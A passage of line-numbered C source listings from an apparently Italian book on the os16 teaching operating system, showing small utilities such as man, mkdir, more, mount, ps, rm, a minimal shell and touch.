4320028       {
4320029         usage ();
4320030         return (1);
4320031       }
4320032     //
4320033     // If there are two arguments, there must be the
4320034     // section number.
4320035     //
4320036     if (argc == 3)
4320037       {
4320038         section = atoi (argv[1]);
4320039         name = argv[2];
4320040       }
4320041     else
4320042       {
4320043         section = 0;
4320044         name = argv[1];
4320045       }
4320046     //
4320047     // Try to open the manual page.
4320048     //
4320049     fp = open_man_page (section, name);
```

```
4320050      //
4320051      if (fp == NULL)
4320052        {
4320053          //
4320054          // Error opening file.
4320055          //
4320056          return (1);
4320057        }
4320058 
4320059      //
4320060      // The following loop continues while the file
4320061      // gives characters, or when a command to change
4320062      // file or to quit is given.
4320063      //
4320064      for (loop = 1; loop; )
4320065        {
4320066          //
4320067          // Read a single character.
4320068          //
4320069          c = getc (fp);
4320070          //
4320071          if (c == EOF)
4320072            {
4320073              loop = 0;
4320074              break;
4320075            }
4320076          //
4320077          // If the character read is a special one,
4320078          // the line/column calculation is modified,
4320079          // so that it is known when to stop scrolling.
4320080          //
4320081          switch (c)
4320082            {
4320083              case '\r':
4320084                  //
4320085                  // Displaying this character, the cursor should go
4320086                  // back to the first column. So the column counter
4320087                  // is reset.
4320088                  //
4320089                  column = 1;
4320090                  break;
4320091              case '\n':
4320092                  //
4320093                  // Displaying this character, the cursor should go
4320094                  // back to the next line, at the first column.
4320095                  // So the column counter is reset and the line
4320096                  // counter is incremented.
4320097                  //
4320098                  line++;
4320099                  column = 1;
4320100                  break;
4320101              case '\b':
```

```
4320102                     //
4320103                     // Displaying this character, the cursor should go
4320104                     // back one position, unless it is already at the
4320105                     // beginning.
4320106                     //
4320107                     if (column > 1)
4320108                       {
4320109                         column--;
4320110                       }
4320111                     break;
4320112                 default:
4320113                     //
4320114                     // Any other character must increase the column
4320115                     // counter.
4320116                     //
4320117                     column++;
4320118               }
4320119             //
4320120             // Display the character, even if it is a special one:
4320121             // it is responsibility of the screen device management
4320122             // to do something good with special characters.
4320123             //
4320124             putchar (c);
4320125             //
4320126             // If the column counter is gone beyond the screen columns,
4320127             // then adjust the column counter and increment the line
4320128             // counter.
4320129             //
4320130             if (column > MAX_COLUMNS)
4320131               {
4320132                 column -= MAX_COLUMNS;
4320133                 line++;
4320134               }
4320135             //
4320136             // Check if there is space for scrolling.
4320137             //
4320138             if (line < MAX_LINES)
4320139               {
4320140                 continue;
4320141               }
4320142             //
4320143             // Here, displayed lines are MAX_LINES.
4320144             //
4320145             if (column > 1)
4320146               {
4320147                 //
4320148                 // Something was printed at the current line: must
4320149                 // do a new line.
4320150                 //
4320151                 putchar ('\n');
4320152               }
4320153             //
```

```
4320154            // Show the more prompt.
4320155            //
4320156            printf ("--More--");
4320157            fflush (stdout);
4320158            //
4320159            // Read a character from standard input.
4320160            //
4320161            c = getchar ();
4320162            //
4320163            // Consider command ‘q’, but any other character
4320164            // can be introduced, to let show the next page.
4320165            //
4320166            switch (c)
4320167              {
4320168                case ’Q’:
4320169                case ’q’:
4320170                    //
4320171                    // Quit. But must erase the ‘--More--’ prompt.
4320172                    //
4320173                    printf ("\b \b\b \b\b \b\b \b\b \b");
4320174                    printf ("\b \b\b \b\b \b\b \b");
4320175                    fclose (fp);
4320176                    return (0);
4320177              }
4320178            //
4320179            // Backspace to overwrite ‘--More--’ and the character
4320180            // pressed.
4320181            //
4320182            printf ("\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b");
4320183            //
4320184            // Reset line/column counters.
4320185            //
4320186            column = 1;
4320187            line = 1;
4320188          }
4320189        //
4320190        // Close the file pointer if it is still open.
4320191        //
4320192        if (fp != NULL)
4320193          {
4320194            fclose (fp);
4320195          }
4320196        //
4320197        return (0);
4320198    }
4320199    //----------------------------------------------------------------------
4320200    static void
4320201    usage (void)
4320202    {
4320203        fprintf (stderr, "Usage: man [SECTION] NAME\n");
4320204    }
4320205    //----------------------------------------------------------------------
```

```
4320206 FILE *
4320207 open_man_page (int section, char *name)
4320208 {
4320209     FILE        *fp;
4320210     char         path[PATH_MAX];
4320211     struct stat file_status;
4320212     //
4320213     //
4320214     //
4320215     if (section > 0)
4320216       {
4320217         build_path_name (section, name, path);
4320218         //
4320219         // Check if file exists.
4320220         //
4320221         if (stat (path, &file_status) != 0)
4320222           {
4320223             fprintf (stderr, "Man page %s(%i) does not exist!\n",
4320224                      name, section);
4320225             return (NULL);
4320226           }
4320227       }
4320228     else
4320229       {
4320230         //
4320231         // Must try a section.
4320232         //
4320233         for (section = 1; section < 9; section++)
4320234           {
4320235             build_path_name (section, name, path);
4320236             //
4320237             // Check if file exists.
4320238             //
4320239             if (stat (path, &file_status) == 0)
4320240               {
4320241                 //
4320242                 // Found.
4320243                 //
4320244                 break;
4320245               }
4320246           }
4320247       }
4320248     //
4320249     // Check if a file was found.
4320250     //
4320251     if (section < 9)
4320252       {
4320253         fp = fopen (path, "r");
4320254         //
4320255         if (fp == NULL)
4320256           {
4320257             //
```

```
4320258                 // Error opening file.
4320259                 //
4320260                 perror (path);
4320261                 return (NULL);
4320262               }
4320263             else
4320264               {
4320265                 //
4320266                 // Opened right.
4320267                 //
4320268                 return (fp);
4320269               }
4320270           }
4320271         else
4320272           {
4320273             fprintf (stderr, "Man page %s does not exist!\n",
4320274                      name);
4320275             return (NULL);
4320276           }
4320277 }
4320278 //----------------------------------------------------------------------
4320279 void
4320280 build_path_name (int section, char *name, char *path)
4320281 {
4320282     char  string_section[10];
4320283     //
4320284     // Convert the section number into a string.
4320285     //
4320286     sprintf (string_section, "%i", section);
4320287     //
4320288     // Prepare the path to the man file.
4320289     //
4320290     path[0] = 0;
4320291     strcat (path, man_page_directory);
4320292     strcat (path, "/");
4320293     strcat (path, name);
4320294     strcat (path, ".");
4320295     strcat (path, string_section);
4320296 }
```

107.1.19 applic/mkdir.c

Si veda la sezione 97.15.

```
4330001 #include <sys/os16.h>
4330002 #include <sys/stat.h>
4330003 #include <sys/types.h>
4330004 #include <unistd.h>
4330005 #include <stdlib.h>
4330006 #include <fcntl.h>
4330007 #include <errno.h>
```

```
4330008 #include <signal.h>
4330009 #include <stdio.h>
4330010 #include <string.h>
4330011 #include <limits.h>
4330012 #include <libgen.h>
4330013 //----------------------------------------------------------------------
4330014 static int  mkdir_parents (const char *path, mode_t mode);
4330015 static void usage         (void);
4330016 //----------------------------------------------------------------------
4330017 int
4330018 main (int argc, char *argv[], char *envp[])
4330019 {
4330020     sysmsg_uarea_t msg;
4330021     int             status;
4330022     mode_t          mode     = 0;
4330023     int             m;           // Index inside mode argument.
4330024     int             digit;
4330025     char          **dir;
4330026     int             d;           // Directory index.
4330027     int             option_p = 0;
4330028     int             option_m = 0;
4330029     int             opt;
4330030     extern char    *optarg;
4330031     extern int      optind;
4330032     extern int      optopt;
4330033     //
4330034     // There must be at least an argument, plus the program name.
4330035     //
4330036     if (argc < 2)
4330037       {
4330038         usage ();
4330039         return (1);
4330040       }
4330041     //
4330042     // Check for options, starting from 'p'. The 'dir' pointer is used
4330043     // to calculate the argument pointer to the first directory [1].
4330044     // The macro-instruction 'max()' is declared inside <sys/os16.h>
4330045     // and does the expected thing.
4330046     //
4330047     while ((opt = getopt (argc, argv, ":pm:")) != -1)
4330048       {
4330049         switch (opt)
4330050           {
4330051             case 'm':
4330052                 option_m = 1;
4330053                 for (m = 0; m < strlen (optarg); m++)
4330054                   {
4330055                     digit = (optarg[m] - '0');
4330056                     if (digit < 0 || digit > 7)
4330057                       {
4330058                         usage ();
4330059                         return (2);
```

```
4330060                         }
4330061                       mode = mode * 8 + digit;
4330062                     }
4330063                   break;
4330064               case 'p':
4330065                   option_p = 1;
4330066                   break;
4330067               case '?':
4330068                   printf ("Unknown option -%c.\n", optopt);
4330069                   usage ();
4330070                   return (1);
4330071                   break;
4330072               case ':':
4330073                   printf ("Missing argument for option -%c\n", optopt);
4330074                   usage ();
4330075                   return (2);
4330076                   break;
4330077               default:
4330078                   printf ("Getopt problem: unknown option %c\n", opt);
4330079                   return (3);
4330080             }
4330081         }
4330082       //
4330083       dir = argv + optind;
4330084       //
4330085       // Check if the mode is to be set to a default value.
4330086       //
4330087       if (!option_m)
4330088         {
4330089           //
4330090           // Default mode.
4330091           //
4330092           sys (SYS_UAREA, &msg, (sizeof msg));
4330093           mode = 0777 & ~msg.umask;
4330094         }
4330095       //
4330096       // Directory creation.
4330097       //
4330098       for (d = 0; dir[d] != NULL; d++)
4330099         {
4330100           if (option_p)
4330101             {
4330102               status = mkdir_parents (dir[d], mode);
4330103               if (status != 0)
4330104                 {
4330105                   perror (dir[d]);
4330106                   return (3);
4330107                 }
4330108             }
4330109           else
4330110             {
4330111               status = mkdir (dir[d], mode);
```

```
4330112                 if (status != 0)
4330113                   {
4330114                     perror (dir[d]);
4330115                     return (4);
4330116                   }
4330117               }
4330118           }
4330119         //
4330120         // All done.
4330121         //
4330122         return (0);
4330123     }
4330124     //----------------------------------------------------------------------
4330125     static int
4330126     mkdir_parents (const char *path, mode_t mode)
4330127     {
4330128         char        path_copy[PATH_MAX];
4330129         char       *path_parent;
4330130         struct stat fst;
4330131         int         status;
4330132         //
4330133         // Check if the path is empty.
4330134         //
4330135         if (path == NULL || strlen (path) == 0)
4330136           {
4330137             //
4330138             // Recursion ends here.
4330139             //
4330140             return (0);
4330141           }
4330142         //
4330143         // Check if it does already exists.
4330144         //
4330145         status = stat (path, &fst);
4330146         if (status == 0 && fst.st_mode & S_IFDIR)
4330147           {
4330148             //
4330149             // The path exists and is a directory.
4330150             //
4330151             return (0);
4330152           }
4330153         else if (status == 0 && !(fst.st_mode & S_IFDIR))
4330154           {
4330155             //
4330156             // The path exists but is not a directory.
4330157             //
4330158             errno = ENOTDIR;        // Not a directory.
4330159             return (-1);
4330160           }
4330161         //
4330162         // Get the directory path.
4330163         //
```

```
4330164      strncpy (path_copy, path, PATH_MAX);
4330165      path_parent = dirname (path_copy);
4330166      //
4330167      // If it is '.', or '/', the recursion is terminated.
4330168      //
4330169      if (strncmp (path_parent, ".", PATH_MAX) == 0  ||
4330170          strncmp (path_parent, "/", PATH_MAX) == 0)
4330171        {
4330172          return (0);
4330173        }
4330174      //
4330175      // Otherwise, continue the recursion.
4330176      //
4330177      status = mkdir_parents (path_parent, mode);
4330178      if (status != 0)
4330179        {
4330180          return (-1);
4330181        }
4330182      //
4330183      // Previous directories are there: create the current one.
4330184      //
4330185      status = mkdir (path, mode);
4330186      if (status)
4330187        {
4330188          perror (path);
4330189          return (-1);
4330190        }
4330191
4330192      return (0);
4330193  }
4330194  //----------------------------------------------------------------------
4330195  static void
4330196  usage (void)
4330197  {
4330198      fprintf (stderr, "Usage: mkdir [-p] [-m OCTAL_MODE] DIR...\n");
4330199  }
```

107.1.20 applic/more.c

Si veda la sezione 97.16.

```
4340001  #include <unistd.h>
4340002  #include <errno.h>
4340003  //----------------------------------------------------------------------
4340004  #define MAX_LINES   20
4340005  #define MAX_COLUMNS 80
4340006  //----------------------------------------------------------------------
4340007  static void usage (void);
4340008  //----------------------------------------------------------------------
4340009  int
4340010  main (int argc, char *argv[], char *envp[])
```

```
4340011 {
4340012     FILE   *fp;
4340013     char   *name;
4340014     int     c;
4340015     int     line   = 1; // Line internal counter.
4340016     int     column = 1; // Column internal counter.
4340017     int     a;          // Index inside arguments.
4340018     int     loop;
4340019     //
4340020     // There must be at least an argument, plus the program name.
4340021     //
4340022     if (argc < 2)
4340023       {
4340024         usage ();
4340025         return (1);
4340026       }
4340027     //
4340028     // No options are allowed.
4340029     //
4340030     for (a = 1; a < argc ; a++)
4340031       {
4340032         //
4340033         // Get next name from arguments.
4340034         //
4340035         name = argv[a];
4340036         //
4340037         // Try to open the file, read only.
4340038         //
4340039         fp = fopen (name, "r");
4340040         //
4340041         if (fp == NULL)
4340042           {
4340043             //
4340044             // Error opening file.
4340045             //
4340046             perror (name);
4340047             return (1);
4340048           }
4340049         //
4340050         // Print the file name to be displayed.
4340051         //
4340052         printf ("== %s ==\n", name);
4340053         line++;
4340054         //
4340055         // The following loop continues while the file
4340056         // gives characters, or when a command to change
4340057         // file or to quit is given.
4340058         //
4340059         for (loop = 1; loop; )
4340060           {
4340061             //
4340062             // Read a single character.
```

```
4340063                 //
4340064                 c = getc (fp);
4340065                 //
4340066                 if (c == EOF)
4340067                   {
4340068                     loop = 0;
4340069                     break;
4340070                   }
4340071                 //
4340072                 // If the character read is a special one,
4340073                 // the line/column calculation is modified,
4340074                 // so that it is known when to stop scrolling.
4340075                 //
4340076                 switch (c)
4340077                   {
4340078                     case '\r':
4340079                         //
4340080                         // Displaying this character, the cursor should go
4340081                         // back to the first column. So the column counter
4340082                         // is reset.
4340083                         //
4340084                         column = 1;
4340085                         break;
4340086                     case '\n':
4340087                         //
4340088                         // Displaying this character, the cursor should go
4340089                         // back to the next line, at the first column.
4340090                         // So the column counter is reset and the line
4340091                         // counter is incremented.
4340092                         //
4340093                         line++;
4340094                         column = 1;
4340095                         break;
4340096                     case '\b':
4340097                         //
4340098                         // Displaying this character, the cursor should go
4340099                         // back one position, unless it is already at the
4340100                         // beginning.
4340101                         //
4340102                         if (column > 1)
4340103                           {
4340104                             column--;
4340105                           }
4340106                         break;
4340107                     default:
4340108                         //
4340109                         // Any other character must increase the column
4340110                         // counter.
4340111                         //
4340112                         column++;
4340113                   }
4340114                 //
```

```
4340115                 // Display the character, even if it is a special one:
4340116                 // it is responsibility of the screen device management
4340117                 // to do something good with special characters.
4340118                 //
4340119                 putchar (c);
4340120                 //
4340121                 // If the column counter is gone beyond the screen columns,
4340122                 // then adjust the column counter and increment the line
4340123                 // counter.
4340124                 //
4340125                 if (column > MAX_COLUMNS)
4340126                   {
4340127                     column -= MAX_COLUMNS;
4340128                     line++;
4340129                   }
4340130                 //
4340131                 // Check if there is space for scrolling.
4340132                 //
4340133                 if (line < MAX_LINES)
4340134                   {
4340135                     continue;
4340136                   }
4340137                 //
4340138                 // Here, displayed lines are MAX_LINES.
4340139                 //
4340140                 if (column > 1)
4340141                   {
4340142                     //
4340143                     // Something was printed at the current line: must
4340144                     // do a new line.
4340145                     //
4340146                     putchar ('\n');
4340147                   }
4340148                 //
4340149                 // Show the more prompt.
4340150                 //
4340151                 printf ("--More--");
4340152                 fflush (stdout);
4340153                 //
4340154                 // Read a character from standard input.
4340155                 //
4340156                 c = getchar ();
4340157                 //
4340158                 // Consider commands `n' and `q', but any other character
4340159                 // can be introduced, to let show the next page.
4340160                 //
4340161                 switch (c)
4340162                   {
4340163                     case 'N':
4340164                     case 'n':
4340165                         //
4340166                         // Go to the next file, if any.
```

```
4340167                     //
4340168                     fclose (fp);
4340169                     fp = NULL;
4340170                     loop = 0;
4340171                     break;
4340172                 case 'Q':
4340173                 case 'q':
4340174                     //
4340175                     // Quit. But must erase the `--More--' prompt.
4340176                     //
4340177                     printf ("\b \b\b \b\b \b\b \b\b \b\b \b");
4340178                     printf ("\b \b\b \b\b \b\b \b");
4340179                     fclose (fp);
4340180                     return (0);
4340181               }
4340182             //
4340183             // Backspace to overwrite `--More--' and the character
4340184             // pressed.
4340185             //
4340186             printf ("\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b\b \b");
4340187             //
4340188             // Reset line/column counters.
4340189             //
4340190             column = 1;
4340191             line = 1;
4340192           }
4340193         //
4340194         // Close the file pointer if it is still open.
4340195         //
4340196         if (fp != NULL)
4340197           {
4340198             fclose (fp);
4340199           }
4340200       }
4340201     //
4340202     return (0);
4340203 }
4340204 //----------------------------------------------------------------------
4340205 static void
4340206 usage (void)
4340207 {
4340208     fprintf (stderr, "Usage: more FILE...\n");
4340209 }
```

107.1.21 applic/mount.c

Si veda la sezione 103.4.

```
4350001 #include <unistd.h>
4350002 #include <stdlib.h>
4350003 #include <sys/stat.h>
4350004 #include <sys/types.h>
4350005 #include <fcntl.h>
4350006 #include <errno.h>
4350007 #include <signal.h>
4350008 #include <stdio.h>
4350009 #include <sys/wait.h>
4350010 #include <stdio.h>
4350011 #include <string.h>
4350012 #include <limits.h>
4350013 #include <sys/os16.h>
4350014 //----------------------------------------------------------------------
4350015 static void usage (void);
4350016 //----------------------------------------------------------------------
4350017 int
4350018 main (int argc, char *argv[], char *envp[])
4350019 {
4350020     int     options;
4350021     int     status;
4350022     //
4350023     //
4350024     //
4350025     if (argc < 3 || argc > 4)
4350026       {
4350027         usage ();
4350028         return (1);
4350029       }
4350030     //
4350031     // Set options.
4350032     //
4350033     if (argc == 4)
4350034       {
4350035         if      (strcmp (argv[3], "rw") == 0)
4350036           {
4350037             options = MOUNT_DEFAULT;
4350038           }
4350039         else if (strcmp (argv[3], "ro") == 0)
4350040           {
4350041             options = MOUNT_RO;
4350042           }
4350043         else
4350044           {
4350045             printf ("Invalid mount option: only \"ro\" or \"rw\" "
4350046                     "are allowed\n");
4350047             return (2);
4350048           }
4350049       }
```

```
4350050     else
4350051       {
4350052         options = MOUNT_DEFAULT;
4350053       }
4350054     //
4350055     // System call.
4350056     //
4350057     status = mount (argv[1], argv[2], options);
4350058     if (status != 0)
4350059       {
4350060         perror (NULL);
4350061         return (2);
4350062       }
4350063     //
4350064     return (0);
4350065 }
4350066 //----------------------------------------------------------------------
4350067 static void
4350068 usage (void)
4350069 {
4350070     fprintf (stderr, "Usage: mount DEVICE MOUNT_POINT "
4350071                      "[MOUNT_OPTIONS]\n");
4350072 }
```

107.1.22 applic/ps.c

Si veda la sezione 97.17.

```
4360001 #include <kernel/proc.h>
4360002 #include <unistd.h>
4360003 #include <stdio.h>
4360004 #include <fcntl.h>
4360005 #include <unistd.h>
4360006 #include <stdlib.h>
4360007 //----------------------------------------------------------------------
4360008 void
4360009 print_proc_head (void)
4360010 {
4360011     printf (
4360012 "pp  p pg                                                           \n"
4360013 "id id rp  tty  uid euid suid usage s iaddr isiz daddr dsiz sp   name\n"
4360014            );
4360015 }
4360016 //----------------------------------------------------------------------
4360017 void
4360018 print_proc_pid (proc_t *ps, pid_t pid)
4360019 {
4360020     char  stat;
4360021     switch (ps->status)
4360022       {
4360023         case PROC_EMPTY   : stat = '-'; break;
```

```
4360024         case PROC_CREATED : stat = 'c'; break;
4360025         case PROC_READY   : stat = 'r'; break;
4360026         case PROC_RUNNING : stat = 'R'; break;
4360027         case PROC_SLEEPING: stat = 's'; break;
4360028         case PROC_ZOMBIE  : stat = 'z'; break;
4360029         default           : stat = '?'; break;
4360030       }
4360031 
4360032     printf ("%2i %2i %2i %04x %4i %4i %4i %02i.%02i %c %05lx %04x ",
4360033               (unsigned int) ps->ppid,
4360034               (unsigned int) pid,
4360035               (unsigned int) ps->pgrp,
4360036               (unsigned int) ps->device_tty,
4360037               (unsigned int) ps->uid,
4360038               (unsigned int) ps->euid,
4360039               (unsigned int) ps->suid,
4360040               (unsigned int) ((ps->usage / CLOCKS_PER_SEC) / 60),
4360041               (unsigned int) ((ps->usage / CLOCKS_PER_SEC) % 60),
4360042               stat,
4360043               (unsigned long int) ps->address_i,
4360044               (unsigned int) ps->size_i);
4360045 
4360046     printf ("%05lx %04x %04x %s",
4360047               (unsigned long int) ps->address_d,
4360048               (unsigned int) ps->size_d,
4360049               (unsigned int) ps->sp,
4360050                              ps->name);
4360051 
4360052     printf ("\n");
4360053 }
4360054 //----------------------------------------------------------------------
4360055 int
4360056 main (void)
4360057 {
4360058     pid_t   pid;
4360059     proc_t *ps;
4360060     int     fd;
4360061     ssize_t size_read;
4360062     char    buffer[sizeof (proc_t)];
4360063 
4360064     fd = open ("/dev/kmem_ps", O_RDONLY);
4360065     if (fd < 0)
4360066       {
4360067         perror ("ps: cannot open \"/dev/kmem_ps\"");
4360068         exit (0);
4360069       }
4360070 
4360071     print_proc_head ();
4360072     for (pid = 0; pid < PROCESS_MAX; pid++)
4360073       {
4360074         lseek (fd, (off_t) pid, SEEK_SET);
4360075         size_read = read (fd, buffer, sizeof (proc_t));
```

```
4360076         if (size_read < sizeof (proc_t))
4360077           {
4360078             printf ("ps: cannot read \"/dev/kmem_ps\" pid %i", pid);
4360079             perror (NULL);
4360080             continue;
4360081           }
4360082         ps = (proc_t *) buffer;
4360083         if (ps->status > 0)
4360084           {
4360085             ps->name[PATH_MAX-1] = 0; // Terminated string.
4360086             print_proc_pid (ps, pid);
4360087           }
4360088       }
4360089 
4360090     close (fd);
4360091     return (0);
4360092 }
```

107.1.23 applic/rm.c

Si veda la sezione 97.18.

```
4370001 #include <fcntl.h>
4370002 #include <sys/stat.h>
4370003 #include <stddef.h>
4370004 #include <unistd.h>
4370005 #include <errno.h>
4370006 //----------------------------------------------------------------------
4370007 static void usage (void);
4370008 //----------------------------------------------------------------------
4370009 int
4370010 main (int argc, char *argv[], char *envp[])
4370011 {
4370012     int         a;               // Argument index.
4370013     int         status;
4370014     struct stat file_status;
4370015     //
4370016     // No options are known, but at least an argument must be given.
4370017     //
4370018     if (argc < 2)
4370019       {
4370020         usage ();
4370021         return (1);
4370022       }
4370023     //
4370024     // Scan arguments.
4370025     //
4370026     for(a = 1; a < argc; a++)
4370027       {
4370028         //
4370029         // Verify if the file exists.
```

```
4370030         //
4370031         if (stat(argv[a], &file_status) != 0)
4370032           {
4370033             fprintf (stderr, "File \"%s\" does not exist!\n",
4370034                      argv[a]);
4370035             continue;
4370036           }
4370037         //
4370038         // File exists: check the file type.
4370039         //
4370040         if (S_ISDIR (file_status.st_mode))
4370041           {
4370042             fprintf (stderr, "Cannot remove directory \"%s\"!\n",
4370043                      argv[a]);
4370044             continue;
4370045           }
4370046         //
4370047         // Can remove it.
4370048         //
4370049         status = unlink (argv[a]);
4370050         if (status != 0)
4370051           {
4370052             perror (NULL);
4370053             return (2);
4370054           }
4370055       }
4370056     return (0);
4370057 }
4370058 //----------------------------------------------------------------------
4370059 static void
4370060 usage (void)
4370061 {
4370062     fprintf (stderr, "Usage: rm FILE...\n");
4370063 }
```

107.1.24 applic/shell.c

Si veda la sezione 97.19.

```
4380001 #include <unistd.h>
4380002 #include <stdlib.h>
4380003 #include <sys/stat.h>
4380004 #include <sys/types.h>
4380005 #include <fcntl.h>
4380006 #include <errno.h>
4380007 #include <unistd.h>
4380008 #include <signal.h>
4380009 #include <stdio.h>
4380010 #include <sys/wait.h>
4380011 #include <stdio.h>
4380012 #include <string.h>
```

```
4380013 #include <limits.h>
4380014 #include <sys/os16.h>
4380015 //----------------------------------------------------------------------
4380016 #define PROMPT_SIZE     16
4380017 //----------------------------------------------------------------------
4380018 static void sh_cd       (int argc, char *argv[]);
4380019 static void sh_pwd      (int argc, char *argv[]);
4380020 static void sh_umask    (int argc, char *argv[]);
4380021 //----------------------------------------------------------------------
4380022 int
4380023 main (int argc, char *argv[], char *envp[])
4380024 {
4380025   char    buffer_cmd[ARG_MAX/2];
4380026   char   *argv_cmd[ARG_MAX/16];
4380027   char    prompt[PROMPT_SIZE];
4380028   uid_t   uid;
4380029   int     argc_cmd;
4380030   pid_t   pid_cmd;
4380031   pid_t   pid_dead;
4380032   int     status;
4380033   //
4380034   //
4380035   //
4380036   uid = geteuid ();
4380037   //
4380038   // Load processes, reading the keyboard.
4380039   //
4380040   while (1)
4380041     {
4380042       if (uid == 0)
4380043         {
4380044           strncpy (prompt, "# ", PROMPT_SIZE);
4380045         }
4380046       else
4380047         {
4380048           strncpy (prompt, "$ ", PROMPT_SIZE);
4380049         }
4380050       //
4380051       input_line (buffer_cmd, prompt, (ARG_MAX/2), INPUT_LINE_ECHO);
4380052       //
4380053       // Clear `argv_cmd[]';
4380054       //
4380055       for (argc_cmd = 0; argc_cmd < (ARG_MAX/16); argc_cmd++)
4380056         {
4380057           argv_cmd[argc_cmd] = NULL;
4380058         }
4380059       //
4380060       // Initialize the command scan.
4380061       //
4380062       argv_cmd[0] = strtok (buffer_cmd, " \t");
4380063       //
4380064       // Verify: if the input is not valid, loop again.
```

```
4380065         //
4380066         if (argv_cmd[0] == NULL)
4380067           {
4380068             continue;
4380069           }
4380070         //
4380071         // Find the arguments.
4380072         //
4380073         for (argc_cmd = 1;
4380074              argc_cmd < ((ARG_MAX/16)-1) && argv_cmd[argc_cmd-1] != NULL;
4380075              argc_cmd++)
4380076           {
4380077             argv_cmd[argc_cmd] = strtok (NULL, " \t");
4380078           }
4380079         //
4380080         // If there are too many arguments, show a message and continue.
4380081         //
4380082         if (argv_cmd[argc_cmd-1] != NULL)
4380083           {
4380084             errset (E2BIG);             // Argument list too long.
4380085             perror (NULL);
4380086             continue;
4380087           }
4380088         //
4380089         // Correct the value for 'argc_cmd', because actually
4380090         // it counts also the NULL element.
4380091         //
4380092         argc_cmd--;
4380093         //
4380094         // Verify if it is an internal command.
4380095         //
4380096         if      (strcmp (argv_cmd[0], "exit") == 0)
4380097           {
4380098             return (0);
4380099           }
4380100         else if (strcmp (argv_cmd[0], "cd") == 0)
4380101           {
4380102             sh_cd (argc_cmd, argv_cmd);
4380103             continue;
4380104           }
4380105         else if (strcmp (argv_cmd[0], "pwd") == 0)
4380106           {
4380107             sh_pwd (argc_cmd, argv_cmd);
4380108             continue;
4380109           }
4380110         else if (strcmp (argv_cmd[0], "umask") == 0)
4380111           {
4380112             sh_umask (argc_cmd, argv_cmd);
4380113             continue;
4380114           }
4380115         //
4380116         // It should be a program to run.
```

```
4380117         //
4380118         pid_cmd = fork ();
4380119         if (pid_cmd == -1)
4380120           {
4380121             printf ("%s: cannot run command", argv[0]);
4380122             perror (NULL);
4380123           }
4380124         else if (pid_cmd == 0)
4380125           {
4380126             execvp (argv_cmd[0], argv_cmd);
4380127             perror (NULL);
4380128             exit (0);
4380129           }
4380130         while (1)
4380131           {
4380132             pid_dead = wait (&status);
4380133             if (pid_dead == pid_cmd)
4380134               {
4380135                 break;
4380136               }
4380137           }
4380138         printf ("pid %i terminated with status %i.\n",
4380139                 (int) pid_dead, status);
4380140     }
4380141 }
4380142 //----------------------------------------------------------------------
4380143 static void
4380144 sh_cd (int argc, char *argv[])
4380145 {
4380146   int status;
4380147   //
4380148   if (argc != 2)
4380149     {
4380150       errset (EINVAL);                // Invalid argument.
4380151       perror (NULL);
4380152       return;
4380153     }
4380154   //
4380155   status = chdir (argv[1]);
4380156   if (status != 0)
4380157     {
4380158       perror (NULL);
4380159     }
4380160   return;
4380161 }
4380162 //----------------------------------------------------------------------
4380163 static void
4380164 sh_pwd (int argc, char *argv[])
4380165 {
4380166   char  path[PATH_MAX];
4380167   void *pstatus;
4380168   //
```

```
4380169     if (argc != 1)
4380170       {
4380171         errset (EINVAL);                // Invalid argument.
4380172         perror (NULL);
4380173         return;
4380174       }
4380175     //
4380176     // Get the current directory.
4380177     //
4380178     pstatus = getcwd (path, (size_t) PATH_MAX);
4380179     if (pstatus == NULL)
4380180       {
4380181         perror (NULL);
4380182       }
4380183     else
4380184       {
4380185         printf ("%s\n", path);
4380186       }
4380187     return;
4380188   }
4380189   //----------------------------------------------------------------------
4380190   static void
4380191   sh_umask (int argc, char *argv[])
4380192   {
4380193     sysmsg_uarea_t msg;
4380194     char          *m;           // Index inside the umask octal string.
4380195     int            mask;
4380196     int            digit;
4380197     //
4380198     if (argc > 2)
4380199       {
4380200         errset (EINVAL);                // Invalid argument.
4380201         perror (NULL);
4380202         return;
4380203       }
4380204     //
4380205     // If no argument is available, the umask is shown, with a direct
4380206     // system call.
4380207     //
4380208     if (argc == 1)
4380209       {
4380210         sys (SYS_UAREA, &msg, (sizeof msg));
4380211         printf ("%04o\n", msg.umask);
4380212         return;
4380213       }
4380214     //
4380215     // Get the mask: must be the first argument.
4380216     //
4380217     for (mask = 0, m = argv[1]; *m != 0; m++)
4380218       {
4380219         digit = (*m - '0');
4380220         if (digit < 0 || digit > 7)
```

```
4380221         {
4380222           errset (EINVAL);            // Invalid argument.
4380223           perror (NULL);
4380224           return;
4380225         }
4380226       mask = mask * 8 + digit;
4380227     }
4380228   //
4380229   // Set the umask and return.
4380230   //
4380231   umask (mask);
4380232   return;
4380233 }
```

107.1.25 applic/touch.c

Si veda la sezione 97.20.

```
4390001 #include <fcntl.h>
4390002 #include <sys/stat.h>
4390003 #include <utime.h>
4390004 #include <stddef.h>
4390005 #include <unistd.h>
4390006 #include <errno.h>
4390007 //----------------------------------------------------------------------
4390008 static void usage (void);
4390009 //----------------------------------------------------------------------
4390010 int
4390011 main (int argc, char *argv[], char *envp[])
4390012 {
4390013     int         a;              // Argument index.
4390014     int         status;
4390015     struct stat file_status;
4390016     //
4390017     // No options are known, but at least an argument must be given.
4390018     //
4390019     if (argc < 2)
4390020       {
4390021         usage ();
4390022         return (1);
4390023       }
4390024     //
4390025     // Scan arguments.
4390026     //
4390027     for(a = 1; a < argc; a++)
4390028       {
4390029         //
4390030         // Verify if the file exists, through the return value of
4390031         // 'stat()'. No other checks are made.
4390032         //
4390033         if (stat(argv[a], &file_status) == 0)
```

```
4390034            {
4390035              //
4390036              // File exists: should be updated the times.
4390037              //
4390038              status = utime (argv[a], NULL);
4390039              if (status != 0)
4390040                {
4390041                  perror (NULL);
4390042                  return (2);
4390043                }
4390044            }
4390045          else
4390046            {
4390047              //
4390048              // File does not exist: should be created.
4390049              //
4390050              status = open (argv[a], O_WRONLY|O_CREAT|O_TRUNC, 0666);
4390051              //
4390052              if (status >= 0)
4390053                {
4390054                  //
4390055                  // Here, the variable 'status' is the file
4390056                  // descriptor to be closed.
4390057                  //
4390058                  status = close (status);
4390059                  if (status != 0)
4390060                    {
4390061                      perror (NULL);
4390062                      return (3);
4390063                    }
4390064                }
4390065              else
4390066                {
4390067                  perror (NULL);
4390068                  return (4);
4390069                }
4390070            }
4390071        }
4390072      return (0);
4390073  }
4390074  //----------------------------------------------------------------------
4390075  static void
4390076  usage (void)
4390077  {
4390078      fprintf (stderr, "Usage: touch FILE...\n");
4390079  }
```

107.1.26 applic/tty.c

Si veda la sezione 97.21.

```
